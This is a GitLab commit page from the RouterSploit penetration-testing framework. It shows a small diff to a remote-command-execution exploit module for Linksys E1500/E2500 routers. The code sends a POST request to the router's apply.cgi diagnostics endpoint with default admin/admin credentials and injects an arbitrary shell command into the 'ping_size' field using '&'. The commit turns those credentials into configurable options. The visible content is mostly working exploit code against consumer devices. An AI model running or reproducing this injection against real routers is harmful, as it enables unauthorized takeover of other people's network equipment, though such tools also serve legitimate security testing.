Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
a35055a4
Commit
a35055a4
authored
Apr 11, 2016
by
n00py
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
updated authentication
parent
02dac2c0
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
5 additions
and
4 deletions
+5
-4
1500_2500_rce.py
routersploit/modules/exploits/linksys/1500_2500_rce.py
+5
-4
No files found.
routersploit/modules/exploits/linksys/1500_2500.py
→
routersploit/modules/exploits/linksys/1500_2500
_rce
.py
View file @
a35055a4
...
@@ -18,7 +18,6 @@ class Exploit(exploits.Exploit):
...
@@ -18,7 +18,6 @@ class Exploit(exploits.Exploit):
],
],
'references'
:
[
'references'
:
[
'https://www.exploit-db.com/exploits/24475/'
,
'https://www.exploit-db.com/exploits/24475/'
,
""
],
],
'targets'
:
[
'targets'
:
[
'Linksys E1500/E2500'
,
'Linksys E1500/E2500'
,
...
@@ -27,6 +26,8 @@ class Exploit(exploits.Exploit):
...
@@ -27,6 +26,8 @@ class Exploit(exploits.Exploit):
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
username
=
exploits
.
Option
(
'admin'
,
'Username to login with'
)
password
=
exploits
.
Option
(
'admin'
,
'Password to login with'
)
def
run
(
self
):
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
==
True
:
...
@@ -45,13 +46,13 @@ class Exploit(exploits.Exploit):
...
@@ -45,13 +46,13 @@ class Exploit(exploits.Exploit):
url
=
sanitize_url
(
"{}:{}/apply.cgi"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/apply.cgi"
.
format
(
self
.
target
,
self
.
port
))
data
=
{
"submit_button"
:
"Diagnostics"
,
"change_action"
:
"gozila_cgi"
,
"submit_type"
:
"start_ping"
,
"action"
:
""
,
"commit"
:
"0"
,
"ping_ip"
:
"127.0.0.1"
,
"ping_size"
:
"&"
+
cmd
,
"ping_times"
:
"5"
,
"traceroute_ip"
:
"127.0.0.1"
}
data
=
{
"submit_button"
:
"Diagnostics"
,
"change_action"
:
"gozila_cgi"
,
"submit_type"
:
"start_ping"
,
"action"
:
""
,
"commit"
:
"0"
,
"ping_ip"
:
"127.0.0.1"
,
"ping_size"
:
"&"
+
cmd
,
"ping_times"
:
"5"
,
"traceroute_ip"
:
"127.0.0.1"
}
try
:
try
:
r
=
requests
.
post
(
url
,
data
=
data
,
auth
=
(
"admin"
,
"admin"
))
r
=
requests
.
post
(
url
,
data
=
data
,
auth
=
(
self
.
username
,
self
.
password
))
except
requests
.
exceptions
.
MissingSchema
:
except
requests
.
exceptions
.
MissingSchema
:
return
"Invalid URL format:
%
s"
%
url
return
"Invalid URL format:
%
s"
%
url
except
requests
.
exceptions
.
ConnectionError
:
except
requests
.
exceptions
.
ConnectionError
:
return
"Connection error:
%
s"
%
url
return
"Connection error:
%
s"
%
url
return
r
.
text
.
strip
()
return
""
def
check
(
self
):
def
check
(
self
):
# meaby random mark should be implemented
# meaby random mark should be implemented
...
@@ -60,7 +61,7 @@ class Exploit(exploits.Exploit):
...
@@ -60,7 +61,7 @@ class Exploit(exploits.Exploit):
data
=
{
"submit_button"
:
"Diagnostics"
,
"change_action"
:
"gozila_cgi"
,
"submit_type"
:
"start_ping"
,
"action"
:
""
,
"commit"
:
"0"
,
"ping_ip"
:
"127.0.0.1"
,
"ping_size"
:
"&"
+
cmd
,
"ping_times"
:
"5"
,
"traceroute_ip"
:
"127.0.0.1"
}
data
=
{
"submit_button"
:
"Diagnostics"
,
"change_action"
:
"gozila_cgi"
,
"submit_type"
:
"start_ping"
,
"action"
:
""
,
"commit"
:
"0"
,
"ping_ip"
:
"127.0.0.1"
,
"ping_size"
:
"&"
+
cmd
,
"ping_times"
:
"5"
,
"traceroute_ip"
:
"127.0.0.1"
}
try
:
try
:
r
=
requests
.
post
(
url
,
data
=
data
,
auth
=
(
"admin"
,
"admin"
))
r
=
requests
.
post
(
url
,
data
=
data
,
auth
=
(
self
.
username
,
self
.
password
))
res
=
r
.
text
res
=
r
.
text
except
:
except
:
return
None
# could not be verified
return
None
# could not be verified
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment